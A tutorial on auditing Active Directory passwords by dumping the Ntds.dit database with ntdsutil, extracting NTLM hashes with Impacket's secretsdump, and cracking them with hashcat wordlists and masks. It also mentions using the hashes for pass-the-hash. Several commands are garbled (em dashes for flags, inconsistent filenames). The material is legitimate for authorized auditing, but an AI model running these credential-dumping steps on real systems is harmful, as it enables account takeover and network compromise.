NTDS Password Hash Dumping and Cracking

 In this tutorial, I will show you how to do a password audit of a Windows Domain Controller by extracting the NTLM password hashes from the Ntds.dit file; In order to crack the hashes with Hashcat and see their clear text value

The Ntds.dit is a database that stores Active Directory data, which includes all the password hashes for all the users of the domain.

To be able to retrieve the NTLM password hashes, we need to make a copy of the Ntds.dit file; However, this is not straightforward as the file is constantly in use and locked by Active Directory.

cant copy ntds.dit file
locked Ntds.dit file

There are quite a few different ways to extract the locked Ntds.dit file from a Windows Domain Controller. In this tutorial, I will be using Ntdsutil which is a command-line tool, used for accessing and managing the Windows Active Directory Database. This needs to be run from an elevated command prompt; therefore, you will need to already have administrator rights on the Domain Controller for this tutorial to work.

So, let’s get started!!!


Log on to the Active Directory Domain Controller and open up an elevated administrator command prompt. Then just type ntdsutil to start the ntdsutil program.


To denote that you are in the program the command prompt will change to ntdsutil:. We then tell ntdsutil that we want to activate the ntds instance.

ntdsutil: activate instance ntds

Now we need to tell ntdsutil where we want to save the copy of Ntds.dit file, to do this type ifm at the prompt.

ntdsutil: ifm

This changes the prompt again to state ifm. now just type create full and the path where you want to save the copy of the ntds.dit file.

ifm: create full c:\Loot

Once completed; we just need to quit out the ifm prompt and ntdsutil prompt.

ifm: quit
ntdsutil: quit

This process actually creates everything needed to restore Active Directory to a writable Active Directory Domain Controller.

Extracting ntds.dit


There are plenty of different ways to extract the password hashes out of the ntds.dit file. However, in this tutorial, I will use the secretsdump.py script with the LOCAL tag on the end of the command, telling Impacket that we want to run an offline version.

Impacket can be download from there GitHub page.


Installing Impacket is easy. Just git clone the git Repository, then cd to the new Impacket directory and then run python setup.py install.

sudo apt update
sudo apt-get install python3-pip
sudo python3 -m pip install . 

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python setup.py install 

Once you have Impacket installed, you can run the impacket python scripts from your command line or terminal.

Now, run the secrtsdump.py from the terminal. Add the location of the Ntds.dit file as well as the system Registry hive that we captured earlier using Ntdsutil. Make sure you don’t forget the LOCAL at the end of the command as this tells secretsdump.py that we want to run a local offline version.

secretsdump.py -ntds /ntds/data/ntds.dit -system /ntds/data/SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

This dumps all the user information including the hashes from the ntds.dit file into 3 files (hashes.ntds, hashes.ntds.cleartext and hashes.ntds.kerberos).

The one we are interested in is hashes.ntds. If you open hashes.ntds there’s quite a lot of information in here like domain and userID, Which we don’t need. For this reason, we need to clean this information up, leaving us with just the NTLM hash before we can crack them with Hashcat.


There are lots of different scripts in Impacket and secretsdump.py is just the tip of the iceberg, let me know in the comments below if you would like me to do more tutorials on some of the other scripts that can be found in impacket.

Clean the Hashes

Before running the password hashes through Hashcat. We need to clean up the contents of hashes.ntds file; Stripping off everything not needed, leaving just the NTLM hash. This can be found at the end of each record as highlighted below.


The record broken down is username: (Administrator), userid: (500) , lmhash: (aad3b435b51404eeaad3b435b51404ee) and ntlmhash: (214e90b41e2752d80acd34e13f3e9831).

If you wanted to compromise a network you don’t actually have to crack the hashes, you can use Pass the Hash to escalate your privileges and take over other devices on the network.

Anyway back to our password audit, let us start by getting rid of everything except the NTLM hash.

This is easily done by concatenating the hashes.ntds file and piping the output into the cut command, using : as the delimiter and saying we want to output everything after the 4th : to a new file called JustTheHashes.txt.

cat hashs.ntds | cut -d : -f 4 > JustTheHashes.txt

If you want to get fancy, you can even pipe sort and uniq on the end of the command to put the NTLM hashes in chorographical order, removing any duplicate hashes.

cat hashs.ntds | cut -d : -f 4 |sort|uniq > JustTheHashes.txt

Cracking the Hashes

Now we have a cleaned up hash file, we can use Hashcat to crack these hashes and find out their clear text value.

Hashcat should be pre-installed if you are running Kali or you can download the latest version from there GitHub Page


Hashcats secret source is that you can harness the processing power of your graphics card which considerably increases the speed at which Hashcat will crack a password.

Run the command below in your terminal to get Hashcat running.

hashcat -m 1000 JustTheHashes.txt rockyou.txt --force
If you get an error with Hashcat saying no hashes imported open the the files and save it in UTF-8 encoding, this is down to not saving in UTF-8 encoding
└─$ hashcat -m 1000 new.txt rockyou2021.txt --force                                                                                         hashcat (v6.1.1) starting...
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz, 30046/30110 MB (8192 MB allocatable), 16MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hash 'new.txt': Token length exception
No hashes loaded.
Or with the cracked the hash and stored the cracked hash to a file named cracked.out as well as to a pot file of hashcat.pot. Since I was dealing with a larger ntds.dit file, I wanted to have one master file with the hashes as well as using a different file names when executing Hashcat with different rules and wordlists.
hashcat -m 1000 -w 3 -a 0 -p : — session=all — username -o /ntds/data/cracked.out — outfile-format=3 /ntds/data/ntlm-extact.ntds ~/rockyou.txt — potfile-path ~/Extract/hashcat.pot
Or the other method used the pot file of cracked hashes against the contents of the extracted ntds file and output the data to a new outfile.

hashcat -m 1000 -w 3 -a 0 -p : — session=all — username — show -o /ntds/data/cracked_1.out — outfile-format=3 /ntds/data/ntlm-extact.ntds — potfile-path /ntds/data/cracked.out

Hashcat Running

The -m tells Hashcat that we want to pass it an NTLM hash. Next, add the location of the NTLM hashes that we cleaned up in the previous step. Then add your password file to this, I used rockyou.txt which can be found in Kali but you can add any password list of your choice.

The –force was added to the end of the command because I ran Hashcat in a Kali VM; However, If you are running Hashcat locally and have all your graphics card set up correctly leave –force off .

Cracked hashes

Hashcat Bruteforce

If the dictionary files do not crack the password or if you are feeling brave, you can try cracking the hashes using a bruteforce attempt.

Instead of adding a dictionary file at the end of the command, you need to create a mask to tell Hashcat what type of passwords you want it to try. See the examples below to help you create a mask.

  • ?l?l?l?l?l?l?l -7char lowercase Password
  • -1 ?l?u? ?1?1?1?1?1?1?1 -7Char upper or lowercase Password
  • -1 ?l?u?d?s ?1?1?1?1?1?1?1 -7Char upper, lower, digits, special Password

In order to create your own masks, you need to understand the following.

  • ?l is all lower case letters from a to z
  • ?u is all upper case letters from a to z
  • ?d is all digits from 0-9
  • ?s is all special characters on a standard keyboard
  • ?h is all ISO-8859 characters or “HEX” characters
  • ?D is all 8-bit characters from the German alphabet
  • ?F is all 8-bit characters from the French alphabet
  • ?R is all 8-bit characters from the Russian alphabet
  • -1 abcdABCD -2 1234 is a custom range used like so ?2?2?2?2?1?1?1?